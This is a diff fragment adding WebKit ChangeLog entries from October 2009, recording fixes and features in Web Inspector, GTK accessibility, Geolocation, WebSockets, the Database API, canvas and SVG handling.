+        (.WebInspector.InspectorControllerStub.prototype.debuggerEnabled):
+        (.WebInspector.InspectorControllerStub.prototype.enableResourceTracking):
+        (.WebInspector.InspectorControllerStub.prototype.disableResourceTracking):
+        (.WebInspector.InspectorControllerStub.prototype.resourceTrackingEnabled):
+        (.WebInspector.InspectorControllerStub.prototype.enableDebugger):
+        (.WebInspector.InspectorControllerStub.prototype.disableDebugger):
+        (.WebInspector.InspectorControllerStub.prototype.addBreakpoint):
+        (.WebInspector.InspectorControllerStub.prototype.removeBreakpoint):
+        (.WebInspector.InspectorControllerStub.prototype.updateBreakpoint):
+        (.WebInspector.InspectorControllerStub.prototype.pauseInDebugger):
+        (.WebInspector.InspectorControllerStub.prototype.pauseOnExceptions):
+        (.WebInspector.InspectorControllerStub.prototype.setPauseOnExceptions):
+        (.WebInspector.InspectorControllerStub.prototype.resumeDebugger):
+        (.WebInspector.InspectorControllerStub.prototype.profilerEnabled):
+        (.WebInspector.InspectorControllerStub.prototype.enableProfiler):
+        (.WebInspector.InspectorControllerStub.prototype.disableProfiler):
+        (.WebInspector.InspectorControllerStub.prototype.startProfiling):
+        (.WebInspector.InspectorControllerStub.prototype.stopProfiling):
+        (.WebInspector.InspectorControllerStub.prototype.getProfileHeaders):
+        (.WebInspector.InspectorControllerStub.prototype.getProfile):
+        (.WebInspector.InspectorControllerStub.prototype.takeHeapSnapshot):
+        (.WebInspector.InspectorControllerStub.prototype.databaseTableNames):
+        (.WebInspector.InspectorControllerStub.prototype.stepIntoStatementInDebugger):
+        (.WebInspector.InspectorControllerStub.prototype.stepOutOfFunctionInDebugger):
+        (.WebInspector.InspectorControllerStub.prototype.stepOverStatementInDebugger):
+        (.WebInspector.InspectorControllerStub.prototype.setSetting):
+        (.WebInspector.InspectorControllerStub.prototype.dispatchOnInjectedScript):
+        (.WebInspector.InspectorControllerStub.prototype.releaseWrapperObjectGroup):
+        (.WebInspector.InspectorControllerStub.prototype.setting):
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.UIString):
+
+2009-10-28  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25897
+        [Gtk] Extraneous object of ROLE_PANEL in hierarchy for entries
+
+        Expands upon the new funtionality which allows platforms to indicate
+        that a particular object should not be ignored, so that they can
+        specify that an object should be ignored or that it should be left up
+        to the default handling to decide.
+
+        * accessibility/AccessibilityObject.h:
+        * accessibility/chromium/AccessibilityObjectChromium.cpp:
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        * accessibility/mac/AccessibilityObjectMac.mm:
+        * accessibility/qt/AccessibilityObjectQt.cpp:
+        * accessibility/win/AccessibilityObjectWin.cpp:
+        * accessibility/wx/AccessibilityObjectWx.cpp:
+        (AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (AccessibilityRenderObject::accessibilityIsIgnored):
+
+
+2009-10-28  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25534
+        [GTK] Objects of ROLE_TABLE should implement the accessible table interface
+
+        Expose the table summary as the accessible description because there is no summary object.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_description):
+
+2009-10-28  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Adds ScriptController::intializeThreading(), with both JSC and V8 implementations.
+        https://bugs.webkit.org/show_bug.cgi?id=30678
+
+        This new method is used from common code, rather than calling JSC::initializeThreading() (or the V8 equivalent) directly.
+
+        Build fix, no new tests required.
+
+        * bindings/js/ScriptController.cpp: Modified.
+        (WebCore::ScriptController::initializeThreading): Added.
+        * bindings/js/ScriptController.h: Modified. Adds ScriptController::initializeThreading().
+        * bindings/v8/ScriptController.cpp: Modified.
+        (WebCore::ScriptController::initializeThreading): Added.
+        * bindings/v8/ScriptController.h: Modified. Adds ScriptController::initializeThreading().
+        * loader/icon/IconDatabase.cpp: Modified.
+        (WebCore::iconDatabase): Call ScriptController::initializeThreading(), rather than JSC::initializeThreading().
+        * storage/Database.cpp: Modified.
+        (WebCore::Database::Database): Call ScriptController::initializeThreading(), rather than JSC::initializeThreading().
+
+2009-10-26  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Darin Adler.
+
+        Document a feature of the m_liveDecodedResources list.
+        https://bugs.webkit.org/show_bug.cgi?id=30209
+
+        The code made the assumption that the list is sorted by
+        the m_lastDecodedAccessTime property of the CachedResource.
+        The above is not true when CachedResource::setDecodedSize
+        is called and the item is inserted the first time. In this
+        case the m_lastDecodedAccessTime is still zero and the
+        m_liveDecodedResources list becomes unsorted.
+
+        It is impossible that Cache::pruneLiveResources will
+        stop to process the list too early due this feature and
+        the alternatives of updating m_lastDecodedAccessTime in
+        CachedResource::setDecodedSize or changing the insert
+        to search the right position have a negative impact on
+        performance. The best solution for now is to document
+        this feature.
+
+        * loader/Cache.cpp:
+        (WebCore::Cache::pruneLiveResources):
+        * loader/CachedResource.cpp:
+        (WebCore::CachedResource::setDecodedSize):
+
+2009-10-28  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        [Gtk] Extraneous object of ROLE_PANEL in hierarchy for entries
+        https://bugs.webkit.org/show_bug.cgi?id=25897
+
+        Make text controls always implement the text interface, and the
+        editable text interface when they are not read only. This is what
+        ATK-users expect.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (getInterfaceMaskFromObject):
+
+2009-10-27  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Fraser.
+
+        Change HitTestResult methods to use (3d) transformation aware methods
+        https://bugs.webkit.org/show_bug.cgi?id=27347
+
+        The current HitTestResult methods are not using the (3d)
+        transformation aware routines. This can lead to an assertion
+        SVGRenderBase::mapLocalToContainer method.
+
+        Change HitTestResult::imageRect to use the (3d) transformation
+        aware RenderBox::absoluteContentQuad to avoid running into
+        an assertion with SVG content.
+
+        Remove HitTestResult::boundingBox() as it is only used in
+        two places and conceptually doesn't belong into a HitTest
+        which is operating on points.
+
+        A classic test case is not possible as the methods are not excercised
+        from within HTML/SVG but from the WebKit API Layer. A unittest
+        for Qt/Gtk+/Mac would need to be written but Qt/Gtk+ currently
+        do not support 3d transformations making it impossible to write
+        a reliable test case and the Mac port is currently not doing
+        unit testing.
+
+
+        * rendering/HitTestResult.cpp: Remove boundingBox() method
+        (WebCore::HitTestResult::imageRect): Use transformation aware method
+        * rendering/HitTestResult.h: Remove boundingBox()
+
+2009-10-26  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Custom Cursor doesn't use hotspot.
+        https://bugs.webkit.org/show_bug.cgi?id=30820
+
+        Cursors loaded from a QPixmap didn't specifiy the
+        hotspot. Take the hotspot values from the mac
+        implementation.
+
+        * platform/qt/CursorQt.cpp:
+
+2009-10-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Initial revision of the Timeline grid.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30834
+
+        * English.lproj/localizedStrings.js:
+        * WebCore.gypi:
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.populateSidebar):
+        (WebInspector.AbstractTimelinePanel.prototype.refresh):
+        (WebInspector.AbstractTimelineCalculator):
+        * inspector/front-end/Images/timelineBarBlue.png: Added.
+        * inspector/front-end/Images/timelineBarGray.png: Added.
+        * inspector/front-end/Images/timelineBarGreen.png: Added.
+        * inspector/front-end/Images/timelineBarOrange.png: Added.
+        * inspector/front-end/Images/timelineBarPurple.png: Added.
+        * inspector/front-end/Images/timelineBarRed.png: Added.
+        * inspector/front-end/Images/timelineBarYellow.png: Added.
+        * inspector/front-end/Images/timelineCheckmarks.png: Added.
+        * inspector/front-end/Images/timelineDots.png: Added.
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceTimeCalculator):
+        (WebInspector.ResourceTransferSizeCalculator):
+        * inspector/front-end/TimelineAgent.js:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype.get statusBarItems):
+        (WebInspector.TimelinePanel.prototype.get categories):
+        (WebInspector.TimelinePanel.prototype.populateSidebar):
+        (WebInspector.TimelinePanel.prototype._createStatusbarButtons):
+        (WebInspector.TimelinePanel.prototype.addItemToTimeline):
+        (WebInspector.TimelinePanel.prototype.refresh):
+        (WebInspector.TimelinePanel.prototype._toggleTimelineButtonClick):
+        (WebInspector.TimelinePanel.prototype.reset):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype.showCategory):
+        (WebInspector.TimelinePanel.prototype.hideCategory):
+        (WebInspector.TimelineRecordTreeElement):
+        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
+        (WebInspector.TimelineCalculator):
+        (WebInspector.TimelineCalculator.prototype.computeBarGraphPercentages):
+        (WebInspector.TimelineCalculator.prototype.computePercentageFromEventTime):
+        (WebInspector.TimelineCalculator.prototype.computeBarGraphLabels):
+        (WebInspector.TimelineCalculator.prototype.updateBoundaries):
+        (WebInspector.TimelineCalculator.prototype.formatValue):
+        (WebInspector.TimelineGraph):
+        (WebInspector.TimelineGraph.prototype.get graphElement):
+        (WebInspector.TimelineGraph.prototype.refreshLabelPositions):
+        (WebInspector.TimelineGraph.prototype.refresh):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels):
+
+2009-10-27  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Move runAfterPendingDispatches to TestController for Clarity
+        https://bugs.webkit.org/show_bug.cgi?id=30844
+
+        * inspector/front-end/TestController.js:
+        (WebInspector.TestController.prototype.runAfterPendingDispatches):
+        * inspector/front-end/inspector.js: moved runAfterPendingDispatches
+
+2009-10-27  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add missing forward declaration of FramelessScrollView.
+        https://bugs.webkit.org/show_bug.cgi?id=30824
+
+        * platform/chromium/FramelessScrollViewClient.h:
+
+2009-10-27  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        WAI-ARIA: add support for 'presentation' role
+        https://bugs.webkit.org/show_bug.cgi?id=30806
+
+        Test: accessibility/aria-presentational-role.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::RoleEntry::):
+
+2009-10-27  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        ARIA menu/menu item need AXRoleDescription
+        https://bugs.webkit.org/show_bug.cgi?id=30804
+
+        Make sure that role descriptions will default to the system's first, before
+        returning an unknown role.
+
+        Test: platform/mac/accessibility/aria-menu-role-descriptions.html
+
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper roleDescription]):
+
+2009-10-27  Geoffrey Garen  <ggaren@apple.com>
+
+        Qt build fix: migrated away from API that no longer exists.
+
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::convertQVariantToValue):
+
+2009-10-27  Geoffrey Garen  <ggaren@apple.com>
+
+        Qt build fix: migrated away from API that no longer exists.
+
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::convertValueToQVariant):
+
+2009-10-27  Oliver Hunt  <oliver@apple.com>
+
+        Fix wording in comment.
+
+        * bridge/objc/objc_instance.mm:
+        (allocateAutoReleasePool):
+
+2009-10-27  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Crash occurs after launching Newsfire 1.6 for the first time
+        https://bugs.webkit.org/show_bug.cgi?id=30807
+
+        We allocate an autorelease pool but then store it off the stack. In a
+        GC environment this led to it being collected, and thus caused badness
+        to ensue.  To work around this we simply avoid using a pool at all in
+        a GC environment as it would be a no-op anyway.
+
+        * bridge/objc/objc_instance.mm:
+        (allocateAutoReleasePool):
+        (ObjcInstance::virtualBegin):
+
+2009-10-27  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        When a Geolocation method is called, immediately calls the error calback asynchronously if permissions
+        have already been denied.
+        https://bugs.webkit.org/show_bug.cgi?id=27944.
+
+        Tests: fast/dom/Geolocation/permission-denied-already-error.html
+               fast/dom/Geolocation/permission-denied-already-success.html
+
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::GeoNotifier::GeoNotifier): Modified. GeoNotifier takes Geolocation object as constructor argument.
+        (WebCore::Geolocation::GeoNotifier::setFatalError): Added. Sets a fatal error for this notifier, causing it to terminate immediately and call the error callback asynchronously.
+        (WebCore::Geolocation::GeoNotifier::timerFired): Added. Used to call the error callback asynchronously on fatal error.
+        (WebCore::Geolocation::getCurrentPosition): Modified. Calls startRequest.
+        (WebCore::Geolocation::watchPosition): Modified. Calls startRequest.
+        (WebCore::Geolocation::startRequest): Added. Common functionality for starting a one-shot or watch request. Sets a fatal error on the notifier if permissions have already been denied.
+        (WebCore::Geolocation::fatalErrorOccurred): Added. Registers that a notifier has encountered a fatal error and should be destroyed.
+        (WebCore::Geolocation::setIsAllowed): Modified. Uses a standard error message for the error callback when permissions are denied.
+        * page/Geolocation.h: Modified.
+        (WebCore::Geolocation::isDenied): Added. Determines whether permissions have been denied.
+
+2009-10-27  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fixed a bug where I was using the wrong Canvas pointer to do a cross-domain check
+        https://bugs.webkit.org/show_bug.cgi?id=30840
+
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::drawImage):
+
+2009-10-27  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVGStyledElement::getPresentationAttribute() can return a shared CSSValue (some SVG tests randomly fail on the bot, and in release builds)
+        https://bugs.webkit.org/show_bug.cgi?id=29620
+
+        SVG was modifying CSSValues cached of off CSSMappedAttributeDeclarations.
+        This patch fixes the check to make sure that a new CSSMappedAttributeDeclaration is
+        created before returning a CSSValue that JavaScript can modify.
+
+        Test: svg/dom/getPresentationAttribute-cache-corruption.svg
+
+        * svg/SVGStyledElement.cpp:
+        (WebCore::SVGStyledElement::getPresentationAttribute):
+
+2009-10-27  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Incomplete repaint of text field in relative positioned inline at imdb.com
+        https://bugs.webkit.org/show_bug.cgi?id=30047
+
+        Test: fast/repaint/inline-relative-positioned.html
+
+        Implemented offsetFromContainer(), mapLocalToContainer() and
+        mapAbsoluteToLocalPoint() in RenderInline.
+
+        * rendering/RenderBox.h: Fixed argument names in the declaration of
+        mapLocalToContainer().
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::offsetFromContainer):
+        (WebCore::RenderInline::mapLocalToContainer):
+        (WebCore::RenderInline::mapAbsoluteToLocalPoint):
+        * rendering/RenderInline.h:
+
+2009-10-27  Jeremy Orlow  <jorlow@chromium.org>
+
+        Speculative build fix for Chromium.
+
+        * platform/graphics/GraphicsContext3D.h:
+
+2009-10-27  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+        
+        Make WebGL context failure more robust and make it succeed in more cases
+        https://bugs.webkit.org/show_bug.cgi?id=30349
+
+        Bubble a failure to get a CGLContext up to HTMLContextElement so it can
+        return null from getContext. Also added a more robust pixel format choosing 
+        mechanism and can render correctly when a SW renderer is chosen.
+
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext):
+        * html/canvas/CanvasRenderingContext.h:
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        * html/canvas/CanvasRenderingContext3D.h:
+        (WebCore::CanvasRenderingContext3D::graphicsContext3D):
+        (WebCore::CanvasRenderingContext3D::cleanupAfterGraphicsCall):
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/Canvas3DLayer.mm:
+        (-[Canvas3DLayer copyCGLPixelFormatForDisplayMask:]):
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::setPixelFormat):
+        (WebCore::GraphicsContext3D::create):
+        (WebCore::GraphicsContext3D::GraphicsContext3D):
+        (WebCore::GraphicsContext3D::~GraphicsContext3D):
+        (WebCore::GraphicsContext3D::reshape):
+        (WebCore::ensureContext):
+
+2009-10-27  Geoffrey Garen  <ggaren@apple.com>
+
+        Mac build fix: a forwarding header.
+
+        * ForwardingHeaders/wtf/DateInstanceCache.h: Added.
+
+2009-10-27  Ryosuke Niwa  <rniwa@webkit.org>
+
+        No Review.
+
+        Making fontWeightIsBold static to fix Snow Leopard build.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::fontWeightIsBold):
+
+2009-10-27  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        WebKit cannot remove nested bold tags
+        https://bugs.webkit.org/show_bug.cgi?id=30784
+
+        This patch modifies getPropertiesNotInComputedStyle so that it compares font-weight
+        more flexibly. Instead of comparing cssText, it uses fontWeightIsBold which converts
+        all font weights to either bold or unbold state.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::fontWeightIsBold):
+        (WebCore::getPropertiesNotInComputedStyle): Removes font-weight property
+        if two style have the same value under getFontWeightValue
+
+2009-10-27  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Give an ability to WebKit to free statically allocated pointers
+        before quit.
+        https://bugs.webkit.org/show_bug.cgi?id=27980
+
+        No new tests for this as the change does not affect WebKit
+        functionality, but only memory usage.
+
+        * JavaScriptCore/wtf/StdLibExtras.h:
+        Allowed for the override of DEFINE_STATIC_LOCAL via compiler 
+        commandline options or elsewhere in the code. Useful for 
+        implementing custom builds that free resources allocated via
+        DEFINE_STATIC_LOCAL.
+
+2009-10-27  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Build fix, no review needed.
+
+        Fixing the BUILD. m_estimatedSize in Database.h should be of type
+        'unsigned long' instead of 'unsigned long long'.
+
+        No tests required.
+
+        * storage/Database.h:
+
+2009-10-27  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Refactoring the Database class to not depend on
+        OriginQuotaManager. Also, adding a SecurityOrigin copy to each
+        Database instance, that is safe to use on the file
+        thread. Finally, adding new simple fields and getters to the
+        Database object for storing/getting the display name and estimated
+        size specified by the user in the openDatabase() call.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30548
+
+        * page/SecurityOrigin.h:
+        * storage/Database.cpp:
+        (WebCore::Database::openDatabase): Storing the display name and
+        the estimated size in the Database object.
+        (WebCore::Database::Database): Storing the display name and the
+        estimated size in the Database object, as well as a SecurityOrigin
+        instance that is safe to use on the DB thread.
+        (WebCore::Database::maximumSize): Delegate the call to
+        DatabaseTracker::getMaxSizeForDatabase().
+        (WebCore::Database::databaseThreadSecurityOrigin): Return the
+        SecurityOrigin instance that's safe to use on the DB thread.
+        (WebCore::Database::threadSafeSecurityOrigin): Return the
+        SecurityOrigin instance that's safe to use on the current thread.
+        (WebCore::Database::displayName): Return the display name
+        specified by the user in the openDatabase() call.
+        (WebCore::Database::estimatedSize): Return the estimated size
+        specified by the user in the openDatabase() call.
+        (WebCore::Database::fileName): Return the name of the file where
+        the current Database is tored.
+        * storage/Database.h:
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::getMaxSizeForDatabase): Returns the
+        maximum size for a DB file based on the current size of that file
+        and the space available for that origin.
+        * storage/DatabaseTracker.h:
+        * storage/SQLTransaction.cpp:
+        * storage/SQLTransactionClient.cpp:
+        (WebCore::SQLTransactionClient::didCommitTransaction): Use the
+        correct SecurityOrigin instance.
+
+2009-10-27  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Pretty Print all HTML Collection Types like we do for NodeList
+        https://bugs.webkit.org/show_bug.cgi?id=30709
+
+        Test: inspector/console-format-collections.html
+
+        * inspector/front-end/InjectedScript.js:
+        (Object.type): check for instances of HTMLCollection like we do for NodeList
+        * inspector/front-end/inspector.js: added WebInspector.pendingDispatches counter
+        (WebInspector.dispatch): increment and decrement dispatch counter
+        (WebInspector.runAfterPendingDispatches): run when there are no more dispatches
+
+2009-10-27  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Adds XMLHttpRequest support to InspectorTimelineAgent.
+        https://bugs.webkit.org/show_bug.cgi?id=30578
+
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willChangeXHRReadyState):
+        (WebCore::InspectorTimelineAgent::didChangeXHRReadyState):
+        (WebCore::InspectorTimelineAgent::willLoadXHR):
+        (WebCore::InspectorTimelineAgent::didLoadXHR):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createXHRReadyStateChangeTimelineRecord):
+        (WebCore::TimelineRecordFactory::createXHRLoadTimelineRecord):
+        * inspector/TimelineRecordFactory.h:
+        * inspector/front-end/TimelineAgent.js:
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::callReadyStateChangeListener):
+
+2009-10-27  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        REGRESSION (Safari 4.0.3-ToT): After pressing Shift-PageDown, pressing Shift-Up 
+        extends the top of the selection upwards (but should shrink the selection instead)
+        <rdar://problem/7269075>
+        https://bugs.webkit.org/show_bug.cgi?id=29981
+
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::modify): Added setting m_lastChangeWasHorizontalExtension.
+
+2009-10-27  Brian Weinstein  <bweinstein@apple.com>
+
+        Rubber-stamped by Tim Hatcher.
+        
+        Removed an extra console.log from ElementsTreeOutline.
+
+        * inspector/front-end/ElementsTreeOutline.js:
+
+2009-10-27  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Rewrote JavaScriptSourceSyntaxHighlighter to be more accurate
+        https://bugs.webkit.org/show_bug.cgi?id=27147
+
+        Tests: LayoutTests/inspector/javascript-syntax-highlight.html
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.JavaScriptSourceSyntaxHighlighter.process): Added. Processes 100 tokens at a time.
+        (WebInspector.JavaScriptSourceSyntaxHighlighter.lex): Added. Scans for a token.
+        (WebInspector.JavaScriptSourceSyntaxHighlighter.appendNonToken): Added. Appends the non-token characters that lex ignored.
+        (WebInspector.JavaScriptSourceSyntaxHighlighter.syntaxHighlightNode): Added. To syntax highlight node in ElementsTreeOutline.
+
+2009-10-27  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Missing null check after string conversion in error reporting
+        https://bugs.webkit.org/show_bug.cgi?id=30774
+
+        Add null check after string conversion in error reporting code.
+        ToString conversion can fail for instance when an exception is
+        thrown during conversion.
+
+        Test: fast/dom/error-to-string-stack-overflow.html
+
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::reportException):
+
+2009-10-27  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Use a pair of maps to store Geolocation watchers.
+        https://bugs.webkit.org/show_bug.cgi?id=29178
+
+        The pair of maps allows us to look up a watcher either by its ID or by its GeoNotifier object.
+        The ability to look up by a watcher by its GeoNotifier object will be required when implementing
+        Geolocation::fatalErrorOccurred. See https://bugs.webkit.org/show_bug.cgi?id=27944
+
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::Watchers::set): Added. Adds a watcher with the given ID.
+        (WebCore::Geolocation::Watchers::remove): Added. Removes a watcher by ID.
+        (WebCore::Geolocation::Watchers::remove): Added. Removes a watcher by GeoNotifier object.
+        (WebCore::Geolocation::Watchers::clear): Added. Removes all watchers.
+        (WebCore::Geolocation::Watchers::isEmpty): Added. Determines if there are no watchers.
+        (WebCore::Geolocation::Watchers::getNotifiersVector): Added. Gets a vector of the GeoNotifier objects.
+        (WebCore::Geolocation::watchPosition): Modified. Rename watcher identifier static variable.
+        (WebCore::Geolocation::stopTimersForWatchers): Modified. Use Watchers::getNotifiersVector.
+        (WebCore::Geolocation::handleError): Modified. Use Watchers::getNotifiersVector.
+        (WebCore::Geolocation::makeSuccessCallbacks): Modified. Use Watchers::getNotifiersVector.
+        * page/Geolocation.h: Modified. Adds Geolocation::Watchers class.
+
+2009-10-27  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] DOM Storage runtime flag should default to on
+        https://bugs.webkit.org/show_bug.cgi?id=30828
+
+        The DOM Storage runtime flag was supposed to default to on.  I accidentally
+        changed the logic to default to false when I moved the flag.
+
+        * bindings/v8/RuntimeEnabledFeatures.cpp:
+
+2009-10-27  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix crash found in chromium test_shell.
+        https://bugs.webkit.org/show_bug.cgi?id=30808
+
+        When WebSocket is deleted without close, webkit would crash
+        when it handles didClose.
+
+        Check scriptExecutionContext before post task for event.
+        Use WebSocketChannel::disconnect() instead of close() in WebSocket
+        destructor, so that WebSocketChannel should not call deleted WebSocket
+        back in didClose().
+        To make sure WebSocketChannel alive while it is processing WebSocket
+        protocol over SocketStreamHandle, ref() in connect() and deref() in
+        didClose().
+
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::~WebSocket):
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didReceiveMessage):
+        (WebCore::WebSocket::didClose):
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::connect):
+        (WebCore::WebSocketChannel::disconnect):
+        (WebCore::WebSocketChannel::didClose):
+        (WebCore::WebSocketChannel::didReceiveData):
+        * websockets/WebSocketChannel.h:
+
+2009-10-27  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Updated Apple license
+
+        * LICENSE-APPLE:
+
+2009-10-27  Brady Eidson  <beidson@apple.com>
+
+        Rubberstamped by Sam Weinig.
+
+        Re-enable the check that disallows pages with unload handlers in the page cache.
+
+        <rdar://problem/7196485> and http://webkit.org/b/29021 
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        (WebCore::FrameLoader::logCanCacheFrameDecision):
+
+2009-10-27  Timothy Hatcher  <timothy@apple.com>
+
+        Remove more empty files that didn't get removed earlier.
+
+        * inspector/DOMDispatchTimelineItem.cpp: Removed.
+        * inspector/DOMDispatchTimelineItem.h: Removed.
+
+2009-10-27  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix assertion crashes introduced by changes made in r50110.
+
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::parseEndElement): only call popCurrentNode() if there are nodes left in the stack.
+
+2009-10-27  Timothy Hatcher  <timothy@apple.com>
+
+        Remove empty files that didn't get removed earlier.
+
+        * inspector/TimelineItem.cpp: Removed.
+        * inspector/TimelineItem.h: Removed.
+
+2009-10-27  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25534
+        [GTK] Objects of ROLE_TABLE should implement the accessible table interface
+
+        First part of the implementation of AtkTable.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (getCell):
+        (getCellIndex):
+        (webkit_accessible_table_ref_at):
+        (webkit_accessible_table_get_index_at):
+        (webkit_accessible_table_get_n_columns):
+        (webkit_accessible_table_get_n_rows):
+        (webkit_accessible_table_get_column_extent_at):
+        (webkit_accessible_table_get_row_extent_at):
+        (webkit_accessible_table_get_row_header):
+        (atk_table_interface_init):
+        (AtkInterfacesInitFunctions):
+        (GetAtkInterfaceTypeFromWAIType):
+
+2009-10-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Lars Knoll.
+
+        [Qt] Don't lose remainder when computing wheel event deltas
+
+        * platform/qt/WheelEventQt.cpp:
+
+2009-10-27  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Antti Koivisto.
+
+        Fix QtWebKit build for WIN_OS if Netscape plug-in support
+        is turned off and refactor some related code
+        https://bugs.webkit.org/show_bug.cgi?id=30786
+
+        No new tests as there is no new functionality introduced.
+
+        * platform/FileSystem.h: Refactor to make sure that each different
+        type definition is only repeated once.
+
+        * plugins/PluginPackage.cpp:
+        (WebCore::PluginPackage::compareFileVersion): Move it out from the
+        ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH guard and combine it with the
+        function body from PluginPackageWin.
+
+        * plugins/win/PluginPackageWin.cpp: Remove compareFileVersion as
+        it is now in PluginPackage.cpp.
+
+2009-10-26  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27011
+        [Gtk] Implement support for get_index_in_parent
+
+        Implement atk_object_get_index_in_parent.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_index_in_parent):
+
